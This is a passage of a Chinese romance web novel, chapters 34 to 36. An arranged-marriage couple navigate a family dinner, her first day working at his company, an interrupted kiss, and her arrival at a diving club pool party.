【妈妈,您上次找的去甲醛公司是哪家啊?孟翰泽新买的床一直有味道。】 孟翰泽:“……” 发完,收起手机,她云淡风轻地说:“短时间之内,我妈妈不会再多问什么。” 这样父母就知道他俩有在一起,也知道为啥她不愿意住西楼。 她说完就准备走了,走之前还记得把发圈带上,一口水都没喝。 孟翰泽大步向前扣住了她的手腕:“禾苗,我问你要不要过来不是为了应付妈。” 是他想见她。 但这句估计她不爱听,他及时打住。 他这句“妈”倒是顺口,梁奚禾抿了抿唇,回头问道:“是真的让我试试这张床好不好睡?” ……他只能点头:“如果不喜欢就换掉。” 梁奚禾皱眉。 他这么细心周到是因为想谈恋爱,可她不想,就没必要掰扯这些变得暧昧。 于是,快刀斩乱麻地说道:“孟总,你知道的,我想试的不是床好不好睡,但你又不喜欢这样。” 后半句话她说得有些语重心长,“既然你不喜欢这样,那就换个人吧。” 别把宝贵时间浪费在她的身上。 孟翰泽的眼神沉了几分。 锁视她片刻后,他忍不住问:“所以……如果人试过之后不好睡呢,你就会换掉?” 第34章 人不好睡当然换掉啊,不然留着拍黄瓜吗? 回视他的葡萄眼中流露出明晃晃的——“这不是废话吗”,孟翰泽垂下了眼皮,那一点点的侥幸心理随之烟消云散。 梁奚禾也顺着他的视线低了眼眉,不过她在欣赏他的手,能找到这样一双这样好看的、令她觊觎的手多么不容易,可惜是个墨守成规的老古板,轻易还玩不到一起去。 遗憾归遗憾,她没有为了这事纠结。怕病菌,她没打算胡乱找男人,但又不是没有玩具,总归有办法取悦自己。 梁奚禾转动手腕脱开他的掌心:“孟总放心,你能搞定阔姐,我就能搞定梅姐,以后在双子大厦,我们不用再装恩爱。” 她的眼神瞟向主卧,“以后我不会过来了,你把床换回去吧,新床多少有点甲醛,对身体不好。” 友好、温馨的提示过后,她自觉气氛能回到之前约定和平共处五项原则的时候,便转身下楼离开。 孟翰泽默然地跟下去,落后她两步,准备送人回去。 穿过茶室和酒吧,到了温室花园,潮湿温润的空气中,梁奚禾闻着草木气息,忽然想问他一件事。 她突然转身,孟翰泽没有防备,人差点一头撞到他怀里,他下意识地抬起双臂将人扶住。 梁奚禾后退半步,站稳了问他:“孟总突然想谈恋爱了,又这么纯情有原则,你会不会毁约?” 现在他是想跟她恋爱,那以后有了另外的心仪对象,会不会追求身心合一,要跟她离婚呢? 她皱眉,意识到离婚的话,她的麻烦会更大一些,再给梁董找一个能力强的女婿不是亿点点困难,恐怕到时候还是要回到原点,她要为聘请职业经理人据理力争。 孟翰泽:“不会。” 梁奚禾眼里的怀疑藏都不想藏,直言道:“早知道你这么容易动凡心,我该给你三个月的试用期。” 孟翰泽:“……” 她想了想:“可能也不是动凡心,就是最近我们俩走得太近了,你有错觉。这段时间我们不要联系了,有事让阔姐找我。” 摆了摆手,梁奚禾回去东楼,步子迈得极大,好像急于逃离他似的。 孟翰泽知趣地没再送,站在原地看着她的背影,眼神晦暗不明…… 羲和特材宣告成立的那天,梁奚禾送雷迪到了机场。 她抱了抱这位陪伴多年的姐姐,眼眶有点发酸:“要是在港城碰到什么事,随时给我打电话。” 护照被收掉了,但她的通行证还在,签注也在有效期内,随时可以飞去助一臂之力。 雷迪最终决定去港城读研,对于重返校园的艰辛她早有预见,但梦想和决心大于一切,何况她还有奚总帮她拿到的推荐信,因此心里并不是很忐忑,此刻有点想落泪只是因为她觉得和梁奚禾的牵绊就此打住了。 往后,各自天涯,云泥有别。 雷迪眨了眨眼睛,将泪意逼回去,有很多话想要交代,从饮食起居到与孟总的相处,但那些话不是她年长几岁就能“倚老卖老”跟梁奚禾说的。 她嗫嚅了两下,千言万语只化作一句:“注意身体,不要喝酒不要吃辣。” 梁奚禾松开怀抱:“放心吧,我也不会飙车,也不会跟爸妈吵架。” 这种保证纯粹是临别的安人心的话,雷迪不会相信,她自己也没用心说。 目送雷迪进了安检后,梁奚禾回到地库。因为送机要载行李,今天她没开自己的跑车,借用了梁茂林闲置的宾利。 上了车,司机说道:“小姐,梁董说请您回家用晚饭。” 梁奚禾没有别的安排,正好也很久没回家了,她就没有拒绝。 回城碰到晚高峰,高架上堵车十分严重,一眼望去都是红色的尾灯。等宾利停到梁家的别墅前,车库里已经停了两台黑色的幻影。 梁奚禾下了车,目光在两台车的车牌上一扫而过,面色淡定地进了家门。 管家阿姨迎出来,梁奚禾问:“阿姨,我饿了,能开饭了吗?” “奚总还没回来呢。”管家阿姨笑嘻嘻地说,“今晚梁董和孟总亲自下厨,厨房都不让我们进,我也不知道还有多久开饭。我拿些糕点,你先垫垫好不好?” 梁奚禾诧异地和她对上眼神:“我爸和孟翰泽下厨?” 她顾不上腹中饥饿,快步流星地走到厨房门口,两扇玻璃移门关着,听不到抽油烟机工作的声响,更听不到两人谈话的声音。 但她看到自家老爸在切菜,孟翰泽站在炒锅前掌勺,两人都系着围裙,相谈甚欢。 对于这样的场景,她喜闻乐见,探头看了两眼就折返客厅,管家阿姨从西厨端出下午刚刚出炉的蝴蝶酥,她捏了一块慢慢吃。 吃了半块,她倾身向前端茶,抬眸就看到孟翰泽从厨房端出菜来,看到她,他脚步明显慢下来。 两人隔着十几米对视,要说对方里眼神里有什么,梁奚禾没看清,已经很久没见,也没联系,她神色自若地朝他颔首算是打过招呼,随后继续品茶。 孟翰泽将菜稳稳当当地放到餐桌上,抽了张纸,边擦手边走过来。 梁奚禾以为他要就今天的造访跟她串口供,放下茶杯,准备洗耳恭听。 谁知孟翰泽俯身端走了她的茶杯,到岛台换了一杯温水送过来。 “这会儿喝茶,晚上失眠了怎么办?点心也少吃,还有两个菜,马上开饭。” 奚云岚到家的时候就看到了这一幕,他们家那位端方矜贵的名声在外的女婿,衬衫西裤配着围裙,对着自家女儿端茶倒水、温言软语。 她停步在玄关没有过去打扰,直到女婿回了厨房,她才重新往前走。 梁奚禾呆楞了片刻,为孟翰泽一如既往的关心,有点意外,一转头对上奚云岚审视的视线,她又有点烦躁。 奚云岚将Birkin放到沙发上,管家阿姨快步走过去想接,她摆手让人退下。 梁奚禾看在眼里:“妈妈有话跟我说?” 奚云岚瞥了眼厨房里的两道身影:“孟翰泽会做饭?味道跟你爸爸做的比起来怎么样?” 梁奚禾一时不察,说了实话:“不知道,没吃过。” 对上奚总若有所思的目光,她晃过神来,老妈估计也是意外怎么今天孟翰泽跑来下厨了,觉得他是故意在岳父岳母面前表现,她这一句话就坐实了他立人设。 失策了。 没配合好,错失了帮他在父母刷好感的机会。 好烦在家里说话还要玩心眼子防止掉坑,梁奚禾面色淡了下来:“他愿意下厨我还不愿意吃呢。” 奚云岚怕她恋爱脑,见她这副骄纵不易讨好的样子,又怕她嘴硬心软吃大亏,提点道:“婚姻也要用情商经营,丈夫愿意下厨,不好吃你也多夸两句,舌头上打个滚的事情,吃不了亏。” 梁奚禾不以为然,没接话。 四个人坐到餐桌前吃饭的时候,奚云岚就亲自给女儿示范了“驭夫之道”。 对着梁茂林出的那道凉拌莴笋丝,奚云岚是这么说的:“我第一次吃到这道菜就是你给我做的,在那之前我都不喜欢吃莴苣的。” 说这话的时候,她笑得眼角的鱼尾纹都没有吝啬,配合着话音,还夹了一筷子莴笋丝,优雅地送入口中。 梁茂林这么多年下厨的次数两只手就能数得过来,厨艺也有限,来来去去做得就那几道菜,听老婆这么一夸,顿觉以后不仅要常做,还得多多开发新的菜式。 桌上六菜一汤,除了凉拌莴笋丝、清蒸鳜鱼和西红柿蛋汤是他做的,其余都是新女婿的手笔。生蚝鸡煲、板栗烧排骨、蒜蓉开背虾、腊肉炒蒜叶,道道色香味俱全。 梁茂林再次举杯:“愿羲和特材、愿咱们家的日子都红红火火,蒸蒸日上。” 除了梁奚禾喝的是热过的椰奶,他们仨都喝的茅台。她埋头负责吃,有人说祝酒词的时候就举杯碰碰,其余时间,关于酒、关于公司的话题她一概不参与。 气氛融洽,倒显得她像这家新嫁进来的儿媳妇。不过孟翰泽做的菜虽然比不上专业大厨,也还挺好吃,她自得其乐。 梁茂林东拉西扯地带着两人聊了一会儿,和孟翰泽对了一个眼神后,笑着将杯子递向梁奚禾。 “禾苗啊,来,爸爸敬你一杯。” 梁奚禾狐疑地看向他,握住玻璃杯跟他碰碰,喝之前先说:“爸爸,你笑得有点贼,有事直说。” 梁茂林嘿嘿一笑:“没啥大事,就是想请你帮一个忙。” 然后他就绘声绘色地讲起,决定成立新公司后,他们如何请到一位大师给新公司命名,如何算了日子,如何如何…… 梁奚禾一直等着他的重点,最后他终于说:“大师说,我女儿女婿的八字很旺,要是两个人能一起在公司挂职,羲和特材肯定能跻身全国……” 话还没说完,梁奚禾面色已经冷下来,打断他:“爸爸,历史上沉迷于玄学不可自拔的帝王都是亡国之君。” 梁茂林一顿,看向孟翰泽。 这用玄学“坑蒙拐骗”女儿到公司上班的馊主意是他自己想的,但今天白天跟女婿说好了,关键时刻,孟翰泽要给他助攻。 孟翰泽知道梁奚禾的心结,也知道这事说她的逆鳞,轻易触碰不得,而且他答应过她不会让她到梁氏上班。 梁奚禾之所以没暴走,能冷静地回怼梁茂林这一句,就是因为觉得自己如今有了帮手,她也把目光往孟翰泽那儿一送。 顶着父女俩的视线,孟翰泽放下筷子,不疾不徐地开口。 “羲和特材这两年会在孟氏大楼办公过渡,等新大楼落成后再搬过去。” ——先避开了她害怕去的梁氏大楼,降低她的抵触心理。 “公司目前正在按部就班地招兵买马,人才都在陆续到位,目前品牌宣传部还有几个岗位空缺。创业初期,除了产品,品牌知名度的打开也很重要,不知道禾苗有没有兴趣加入?” ——比起梁茂林笼统宽泛的一句“到公司上班”,他有的放矢地邀请。 “有个岗位平时负责公司各个部门的内宣,事情不会太多,就是需要兼顾对外宣发,我有重要会议的时候,要陪我出席、拍摄和撰稿,可能还要国内外地跑,会比较辛苦。” ——话音重点落在“国内外”那个“外”字。 “要不要考虑一下?” 他看向梁奚禾,对面的岳父岳母也纷纷向她投去期待的目光。 梁奚禾对上班这件事确实没有兴趣,但敏锐地捕捉到了那个“外”字。 要陪他去国外出差? 陪他不重要,出差也不重要,重要的是,去国外的话,她就能堂而皇之地拿回自己的护照了! 护照到了手里,她两天一个病假,三天一个事假的,她反正不要工资,谁还能说句不是?毕竟怎么说她也是羲和特材的老板娘。 梁奚禾面上稳得住,心思却飞转,目光从梁茂林扫到奚云岚,再看向孟翰泽。 她老神在在地开口:“出差你还想带老婆,是不是有点黏人了?” 为了掩饰自己的小九九,她故意将父母的注意力引向别处,“要是羲和特材没打算禁止办公室恋情,那我就去上班吧。” 孟翰泽深深地看了她一眼。 梁茂林则喜出望外,桌下,他一把抓住了奚云岚的手。 奚云岚对于女儿摆得这么狠,只去做一个什么品宣的岗位并不满意,但僵持了数月的事情终于有了进展,她也只好安慰自己慢慢来。 想到僵持数月,她看看女婿又看看女儿,梁奚禾跟他们杠得厉害却对孟翰泽言听计从,她心里又有点担心和不适。 挣脱了梁茂林的手,她端起酒杯,说道:“翰泽,禾苗初出江湖,你多带带她。” 话里尽是期望,孟翰泽听得明白…… 下个周一,就是到孟氏大楼上班的第一天,梁奚禾是开着法拉利去的,开门红嘛。 孟翰泽遵守着她“不要联系”的指令,那晚在梁家吃过饭后没有私下联系过她。也就昨晚,托高阔过来问她,以后上班要不要搭他的便车。 梁奚禾当然不要。他这种工作狂,每天起得比鸡早,下了班还有应酬,她搭他的车,每天至少损失两个小时的自由时间。 这段时间,高阔往东楼跑得勤,跟梅姐还有梁奚禾都建立了深厚的感情,三人聚是斗地主,散是王者荣耀的关系。 突然梁奚禾要去上班了,白天就她俩留守双子大厦,总觉得少了点什么,高阔还挺不舍得:“那我跟梅姐只能双人成行了。” 她掐掐自己,她是来给孟翰泽当僚机的,助攻成不成不说,总不能还跟他抢人。 梅姐不婚不育也不恋,对高阔要给老板当僚机的行为表示疑惑:“孟总就不能自己追?” 高阔瞅瞅正给她俩购买双人游戏的梁奚禾:“也得你家禾苗愿意给他追啊。” 梅姐直言不讳:“强扭的瓜不甜。” 高阔表示欣慰:“我还没找到扳手,他先自己扭上了,算是开窍了。” 梅姐一上任,梁奚禾就跟西楼断了来往,她跟那位孟总几乎没有正面打过交道,实在想象不出孟总攻略小禾苗的样子。 孟总攻略老婆的方法很简单,就是把人放在身边,只要有机会就去她面前刷存在感。 品宣部被放在总裁办旁边,有点中央直管的意思,部门经理是社招进来的,发现自己如此“直达天听”格外振奋,在知道部门成员有孟总的老婆后,更是一边忐忑,一边做好了得道飞升的准备。 梁奚禾将法拉利停在地库,穿着连衣裙外套羊驼绒大衣,踩着运动鞋上楼时,电梯里都是隐晦而克制的打量的目光。 她没打算在职场隐婚,更没掩饰自己老板娘的作风,只有这样,将来她随机打卡上班时,就没人传些风言风语。 到了楼层,她在前台的带领下找到部门,一个约莫40岁的男子等候在办公室门口,见到她就神色谦卑地伸出手:“孟太太,您好,我是品牌宣传部的部门负责人,我叫刘毅。” 梁奚禾不喜欢跟人握手,闻言点点头:“你好刘经理,工作场合,你可以叫我梁奚禾,也可以叫我Thea。” 门内,几个部门成员纷纷板正地站在工位上,等着老板娘的检阅。 刘毅的忐忑都在于有了这尊大佛坐镇部门,以后他的工作不好安排,也不好展开。毕竟他是来体现能力与价值的,除了把老板娘伺候好,也得完成绩效考核目标才行。 当下,他从善如流地说道:“Thea,我来介绍一下其他的同事。” 既然老板娘愿意“与民同事”,他也乐于创造一个尽量平等的工作环境。 不过,刘毅没有伤脑筋太久。 上午是梁奚禾报道的时间,大概梁茂林和孟翰泽都为了稳住这位大小姐,并没有要求她与其他人一样亲自办理入职手续,自有行政办、人力资源部、信息技术部的人帮她把所有琐事都处理好。 梁奚禾无所事事地在噤若寒蝉的办公室里待到了中午。 她看看腕表,正想问其他人要不要去吃饭,敞开的办公室门被轻叩两声。 她抬头,其他几人已经唰地起身:“孟总好。” 孟翰泽点点头,柔和的目光落到她这边:“吃饭去吗?” 梁奚禾:“……” 在所有人的注目礼中,她就算不想跟他一起吃饭,也只能起身。 等她走到门口,孟翰泽却说:“等一下。” 他进门到她工位上,拿上她搭在椅背上的大衣,走回门口,抖开:“食堂冷,穿上吧。” 第35章 梁奚禾由他伺候着穿上了大衣,算是合体秀了第一回恩爱。 孟翰泽将手肘微微抬起。 梁奚禾瞬间意会,他在示意她,去挽他的胳膊。 她撩了撩头发,既然免不了肢体接触,她要用自己喜欢的方式。 于是,她果断地牵住了他的手。 十指相扣。 掌心里突然被塞入一只小小的、柔软的手,带着一点微凉,那一刻孟翰泽几乎身形僵硬。 在女同事们“嗑到了”的目光中,两人并肩往外走。 孟翰泽回过神,唇角露出笑意,手上渐渐用劲,包裹住她。 大楼里,他的总裁专梯和姚德平的董事长专梯有单独的电梯间,去包括2楼食堂在内的其他楼层并不需要跟员工们挤在一起。 没有外人在,梁奚禾就松弛下来,松开了手,没话跟他讲就不开口,但也没有掏出手机自顾自玩。 进了轿厢,电梯门合上,镜面清晰地映照出他们二人。 梁奚禾抬眸,不期然地跟镜中的他对上视线。 孟翰泽神色柔和:“食堂大锅饭如果不合胃口,明天开始我让小厨房单独给你做。” 孟老先生是实干家,他在的时候,永远跟孟氏全体员工一起吃大食堂,小厨房是留着招待访客用的。孟翰泽遵循祖父的作风,也一直坚持吃大食堂。 不过姚德平派头大,小厨房现在除了招待访客,还会给他开小灶。孟翰泽觉得加一份给梁奚禾也无不可。 梁奚禾却心思活络起来。 要是上班不能好好吃饭,也是一个不能上班的理由吧? 孟氏人员规模大,食堂容量有限,一向都是分批吃饭的,饶是如此,这个时间点食堂内依然满满当当。当他们二人并肩走进食堂时,热热闹闹的气氛突然安静下来,人们或大大方方、或暗搓搓地投过来视线。 表情都挺意外的。 孟总不是都最后一个来吃饭的吗?今天怎么这个点就来了? 孟总身边第一次出现女生?这女生是谁? 梁奚禾对孟翰泽过去在孟氏的作息时间安排和树立的形象并不是清楚,也就无法解码群众的眼神,索性就无视,准备去队尾排队。 孟翰泽快一步握住她的小臂:“你先去找位子坐,我去打饭。” 梁奚禾看看那一溜长队,没有拒绝,把手里的工卡递给他。 孟翰泽当然没接。 窗口有一排面向落地窗外的吧台位置,刚刚牵手以后,他的眼神仿佛拔丝地瓜,梁奚禾并不是很想跟他面对面吃饭,看到那边有空位就坐了过去。 窗外是四季常绿的乔木,点缀了几棵银杏,大树掩映下是室外的篮球场和足球场,风景十分不错。 梁奚禾举起手机拍照,没特意用东西给孟翰泽占座,但明眼人都会自动自发地把她身边的位置留给孟总。 等了一会儿,孟翰泽一手一个餐盘地过来,两个餐盘放到她面前,随她选。 梁奚禾上一次使用这种分格的不锈钢餐盘还是在高中,乍然重逢,除了恍惚还重拾了一点新鲜感,等她对着餐盘拍完照,孟翰泽拿了筷子、勺子回来。 “想吃什么菜,哪盘?”他问。 梁奚禾瞟了一眼菜色,两盘里都是她爱吃的,前段时间近距离相处,他对她的口味已经了如指掌。她就随机选了一个餐盘,说了句“谢谢”。 孟翰泽看她一眼:“不要这么客气。” 她没再说话,两人并排坐着,各自用餐。 大锅饭再好吃也不会好吃到哪里去,梁奚禾每个菜都尝了一口,又吃了两口米饭,就放下了筷子。 中午不吃饱,下午根本没精力负荷住工作强度,所以孟翰泽基本都会光盘,见她吃得少,便问道:“不好吃吗?” 梁奚禾摇摇头,实事求是地说:“没你做的好吃。” 其实她这是客观的评价,外面饭店不提,家里专业大厨出品的好吃程度自然是排在第一位的,孟翰泽位居第二,再之后才是梁茂林的手笔。所以,食堂大厨的水平也就是比梁董高那么一丢丢而已。 但听在孟翰泽耳朵里就不是那么回事了。 他的眼神愈加温柔:“那晚上回去我做。” “……” 大庭广众,隔墙有耳,梁奚禾配合着表演恩爱夫妻,但不想应承他这种邀约,于是推托道:“我今晚有约了。” “约了谁?”孟翰泽自然而然地接着问道。 梁奚禾诧异地看向他,眉梢微动显示不满,他未免也问得太多了。 他平静地回视,眼底似乎有笑意。 梁奚禾抿了抿唇,读懂了他的目光,好像,似乎,确实真正的夫妻会这么关心对方的应酬安排,不算过界。 她垂眸又扒拉了一口米饭送入口中,含糊不清地说:“夏初。” 有点不情不愿的。 孟翰泽顺理成章地继续问下去:“不会喝酒吧?别忘了你不能喝酒。” 梁奚禾“嗯”了一声。 他又道:“几点结束?我去接你。” 梁奚禾掀起眼皮瞪他,得寸进尺,没完了是不是? 孟翰泽依然含笑等着她的回答,就像一个24孝丈夫那般。 她嘴角一扯,胡乱地说:“大概十点吧,十一点之前。” 以防他再开口,她将自己的餐盘推到他面前,跟他的光盘撞在一起,使唤他,“我吃不下了,去倒了吧。” 孟翰泽将光盘往里推推,把她的餐盘移过来。 “不要浪费。” 他又吃了起来。 梁奚禾:? 之前也没发现他的饭量这么大啊! 不是,这不是重点。他干嘛吃她的剩饭剩菜啊?! 走出食堂的时候,梁奚禾整个人都挺凌乱的,好好的一个孟氏太子爷,怎么就像高中时候的愣头青一样? 孟翰泽却不觉得有什么,包圆老婆吃不下的饭菜,天经地义。 他将两个餐盘送到回收处,抽了纸巾擦手,追上梁奚禾,没什么犹豫地牵住了她的手。 就像下楼前那样,同她十指相扣。 梁奚禾:“……” 左拐是电梯间,孟翰泽却牵着她往右边去。 她问:“去哪儿?不回办公室吗?” 孟翰泽:“饭后百步走。” 他从前也没有散步的习惯,是这会儿临时起意,还想跟她多待一会儿。 梁奚禾想想回办公室只能坐着,也没有沙发随意躺,不如散散步舒坦,就没说拒绝的话。 外面特别冷,孟翰泽牵着她出了门,穿越宽阔的柏油路,到了对面的体育馆。 这里是孟氏的员工活动中心,底层是室内的篮球场和网球场,楼上还有乒乓球馆和羽毛球馆。有些不习惯午睡的员工中午会过来活动活动,此时已经有三三两两的人在场地边做热身运动。 两人楼下参观了一圈就去楼上,梁奚禾试着收回手,却被他紧紧握住。 走至楼道内,周围一个人都没有,也没安监控,梁奚禾放心大胆地说话:“孟总不是守身如玉的吗?” 摇了摇两人交握的手,准确地讲,是她被他单方面用力握住的手,她抬眉,“那干嘛不松手?” 孟翰泽对她用“守身如玉”一词形容自己有点啼笑皆非,却见她说完就笑起来。 “还是说,牵手拥抱孟总都可以接受,只要不做到最后一步?” 孟翰泽:“……” 梁奚禾眉梢眼角都染上笑意,抬起空着的那只手放到眼前,朝他勾了勾手指。 上一句话他尚未消化完毕,也不知道她还有什么虎狼之词等着自己,但也只能顺从地低下头来,将耳朵凑过去。 梁奚禾却用食指勾住了他的下巴,微微使劲带着他转过脸来正视自己。 两人的鼻尖靠得极近,几乎呼吸相闻,此刻梁奚禾没有闲心分辨他的气息属于哪一种,注意力都放在近在咫尺的他的嘴唇上。 都说薄唇男子皆薄幸,可她就喜欢这种薄薄的、带着冷峻的嘴唇。 他的手、他的唇,毋庸置疑,他的整个人都长在了她的审美点上,令原本只是想调侃两句的她此时此刻就像那些“精。虫上脑”的渣男那样起了色心。 她的笑意越发深了,坏坏地用气声相询:“孟总都不介意剩菜里有我的口水,想必也不会介意打个kiss吧?” 话音未落,她便出其不意地亲上了他的嘴唇。 孟翰泽僵在了原地,柔软的触感,香甜的鼻息,刺激得荷尔蒙分泌,从尾椎骨升腾起一种隐秘的欢喜。 他心底的那一汪清泉,早就慢慢地升了温度,这会儿却像泉底喷发出了灼热的岩浆,令水面汩汩地冒起蒸汽泡泡,烫得人想要离开,又更想要更多。 他一只手愈发紧地扣住她的手,另一只手不由自主地抚上她的后背。 然而,就在梁奚禾伸出软舌舔舐他的唇珠,试图撬开他的牙关时,他的理智忽然回笼。 握着肩膀,将人拉开了稍许。 小说和影视剧里的吻戏梁奚禾看过不少,这是第一次实践,从生疏开始,刚刚有了感觉就被中断,她不满地皱眉:“怎么,接吻也不行吗?” 她的唇色红润,还带着水泽,不可能不诱人。 孟翰泽别开眼。 上周五安排这一周行程时,他就跟秘书交代了可参加可不参加的会议都不参加,可去可不去的应酬都推了,把时间都留出来,好好哄第一次上班的小朋友。 今早出门前,他还想着怎么跟品宣部的部门经理交代安排她的工作,如果她对工作内容不感兴趣该怎么哄。 谁知,要哄的竟然不是工作问题,还是这个问题? 他有点头痛,他并不想跟她成为炮。友。 谈性何其容易,难的是谈心,谈情。 孟翰泽轻叹了一口气,柔声道:“禾苗,现在这时候,我们还不适合做这些事。” 梁奚禾觉得扫兴,顺着他的话反问:“那什么时候合适?” 他的目光柔和中带着郑重。 “等你对我认真的时候。” 第36章 饭后散步就在戛然而止的kiss后戛然而止。 两人算得上再次不欢而散,粉饰太平地并肩走回办公大楼,回到7楼梁奚禾折身进办公室的时候,都没想回头跟他说声再见。 孟翰泽看了她的背影一眼,眼神中温柔有之,挫败有之。 回到办公室,他径直进了里头的休息间,以前每天中午他都会小睡一会儿,今天床上的被褥换了一套全新的,本来是打算要把床让给她午睡的。 现在她肯定不会过来了。 他脱了外套,将自己抛到床上,仰面躺着看修饰极为简洁的天花板,以及那盏线条利落的平板吸顶灯,它们不像他的思绪那般凌乱无序。 关于怎么进攻、怎么追求,他前段时间好不容易拿了一个章程出来,也算是拉近了一点点距离。 谁知这点微小的进展,今天又因为拒绝她的kiss而全部赔了进去。 孟翰泽有点头疼。 他从小受祖父的培养和熏陶,凡事都有计划。读书的时候也好、工作后也好,他都习惯按照计划向着目标一步步推进,通常怕计划赶不上变化,还早早地制定PlanB应对。 但面对梁奚禾,什么计划都没用,他再也没有所谓的笃定,甚至连一点自信心都没有。 比起其他男人,他唯一的优势大概就是手握一张结婚证。 品牌宣传部那边,梁奚禾也在挫败中。 在遇到孟翰泽之前,她从来没有对谁这么主动过,当然并不是故意拿架子或者吊人胃口,确实是没有碰到令她感兴趣的人。 好不容易,这回终于碰到了。 主动发消息联姻、主动问他关系要不要更近一步、主动牵手、主动亲他…… 什么都是她主动,偏偏就觉得,主动权并不握在她手里。 梁奚禾心想,自己向来只有三分钟热度,等她哪天有了新的感兴趣的人,管他从不从呢。 部门里,因为老板娘在,午休时间其他人都依然正儿八经地坐在桌前,买了躺椅的也没敢躺,刷个手机也悄咪咪的。 整个办公室都静悄悄的,只有电脑主机散发的白噪音,梁奚禾更烦躁了,捋了一把滑下来的发丝,在微信上找夏初,本来晚上约了闺蜜只是个借口,这会儿她真的想约人出来吃饭谈心。 梁奚禾:【初儿,你晚上有空吗?想见你。】 夏初正对着另一个对话框纠结,有新消息提示就切过来,看到她的信息宛如看到救星,马上回道:【本来有空的,但是刚刚倪总问我参不参加俱乐部的派对。】 梁奚禾皱眉:【倪睿?他周一开派对?】 这么闲的吗? 夏初解释,今天是潜水俱乐部的周年庆,她加入俱乐部不久,属于新手级别,平时就是过去找教练上上课,不像那些高级成员,时不时就相互约着往全世界各地的潜点跑。 正因为她跟俱乐部里其他人都不熟,之前也没想参加这庆典派对。哪里知道倪睿在俱乐部的名单里看到了她,竟然会发消息问她晚上去不去。 本来是可去不可去的事,因为上次被倪睿灌酒,夏初就有点抗拒,可不去又担心合同,倪氏那边毕竟还没走完流程,她怕到最后一步又出来幺蛾子,毕竟夏氏的生产线已经为了这份合同在扩张了。 梁奚禾明白她的顾虑,十分讲义气地说:【晚上我陪你去。】 又马上给倪睿发了条消息:【你们那个潜水俱乐部好玩吗?晚上我去考察考察。】 倪睿回的是语音:“当然好玩啊,都是八块腹肌的猛男,保管你流连忘返。” 梁奚禾转成文字看的,但想象得出他的语气里肯定一半吊儿郎当,一半戏谑。 她暗自翻个白眼,不客气地回怼:【那你不得自卑死。】 那头的倪睿也不生气,仍旧笑嘻嘻地说:“我就是有,你也看不上我,我还自卑什么?” 梁奚禾无意跟他贫嘴,说回正事:【要交会费才能参加吗?】 “不用,公主殿下肯赏光莅临,会费我掏了。” 梁奚禾面无表情、心如止水。 那边又发过来:“今晚是泳池派对,记得穿泳衣。” 梁奚禾看了一眼,没理,直接结束了对话…… 到了傍晚,同事们表面一本正经,实则都在暗自嘀咕,关系好的还用微信凑在一起八卦。 【老板娘是不是要等老板下班?】 【啊,不会吧,那我们岂不是也不能走?】 【应该不会,早上我看到老板娘自己开车来的。】 【那就好那就好,孟总走得老晚了,我今天还要去逛街呢。】 就在大家暗搓搓地惴惴不安时,下班时间到了,梁奚禾几乎是踩着点站起身来拎上包走人的。 “我先走啦,拜拜。” 她扬声跟大家打了个招呼,风风火火地步出办公室,反应慢的同事抬头只看到门框处的一片大衣衣角。 与老板娘共事的第一天就这么过去了,包括部门经理刘毅在内的所有人都松了一口气。 梁奚禾的法拉利也是第一辆驶出孟氏园区的,派对上有吃食,但肯定吃不好,她跟夏初先去渝粤私房菜吃晚饭,再一起过去派对现场。 办公大楼里,孟翰泽还有几封工作邮件没看完,秘书进来问他还有没有什么吩咐。 “你们下班吧。” 他加班一贯不用下属陪着,真有什么事会电话联系,秘书知道他的习惯,确认过后回去总裁办解散大家。 等人带上门退了出去,孟翰泽没有马上重新投入工作,想了想给高阔发了信息,告知自己大概八点到家,让她到茶室等自己,他有事情请教。 能让孟总用上“请教”二字的无非就是怎么追老婆的问题,高阔正好有新的情报汇报,非常得意地说:【我预见到了新的历史性的突破就要来了!】 孟翰泽没她这么乐观,看了一眼没再回,抓紧处理邮件…… 潜水俱乐部的规模不小,几乎囊括了宁市对此感兴趣的所有豪门二代三代,包括倪睿、夏初,还有孟翰泽的铁哥们儿樊瑞也在其中。 大型俱乐部里免不了会有小圈子,平时大家都是按照圈子各玩各的,鲜少主动产生交集。但今天是周年庆,自然得打破条条框框,把所有人都聚到一起。 派对地点选在雪霁山下的一处度假村,这里夏天风景好,冬天属于淡季,许多别墅都空置着。俱乐部包了其中一栋三层楼的别墅,倪睿作为资深元老作开场白,让大家放开玩,不必担心扰邻。 他在一楼院子的泳池旁慷慨激昂地演讲时,樊瑞坐在二楼露台上抿酒,嘴角一扯,露出些不屑一顾的意思。 俱乐部的创始人之一林城东也是个二代,他知道因为倪家同司家退婚、倪二小姐还造谣司峻不举的缘故,樊瑞对这位倪总也没什么好感,更不可能下楼去给人家捧场。 这会儿樊瑞独坐露台,他便上来作陪,陪坐了一会儿以示诚意后匆匆下楼,social了一会儿,又亲自端上来一瓶香槟。 樊瑞其实挺惬意的,他几乎不怎么缺席俱乐部的派对和其他活动,但纯属爱凑热闹,大冷天的,他并不想打个赤膊在百花丛中穿来穿去,还是坐在高处,品酒,笑看这群饮食男女比较松弛。 梁奚禾和夏初到的时候,派对的气氛已经到了高潮部份,所有人微醺,一个个脱得只剩泳衣,在泳池里上上下下撒开了玩。 泳池里的水是恒温的,但毕竟是露天,看到这些美好的肉体,梁奚禾没别的情绪和感想,只替他们打了个寒战。 她跟夏初来派对就是堵倪睿的口,不给他为难夏初的机会,在微信上知会倪睿一声说自己到了后,两人避开纷纷扬扬的水花去甜品台各自拿了个布丁,在灌木丛背后找了个安静的角落聊天。 露台上,林城东早就听倪睿说今晚梁家大小姐要来,人虽陪着樊瑞,其实眼观六路耳听八方。 梁奚禾和夏初低调现身,没惊动任何人,他却第一时间从椅子上弹跳起来。 樊瑞睨他:“你干嘛?” 林城东激动地搓手:“公主殿下来了,樊总,失陪啊。” 樊瑞觉得咯噔:“什么公主殿下?” 他不放人,林城东不好直接走,急得语速都变快了不少:“梁家大小姐啊,这不是江湖人称嘛。” 樊瑞挑眉,孟翰泽的老婆? 如今这已经不是秘密,只是人他们尚未见过。 他看向楼下:“在哪儿?” 林城东指了指唯二穿着大衣的两位,心里发苦,自己在这里被绊住了,楼下怎么都没人前去招待。 樊瑞没有体察他的心情,还在发问:“梁小姐也是会员?” “不是。” “哦?那她今晚是来?” 倪睿跟梁奚禾发语音的时候,林城东就在边上听了一句半句,这会儿便随口玩笑:“来选个八块腹肌的男宠呗。” 樊瑞:“……” 林城东告了个罪,匆匆奔向楼梯间。 楼下倪睿从泳池里上来,到躺椅上拿了浴袍披上,看了眼手机,左顾右盼地四处找人。 他找到人的时候,樊瑞捞起手机远远地拍了一张,给孟翰泽发了过去:【我们孟总还行不行了?竟然让老婆来找八块腹肌的男宠。】 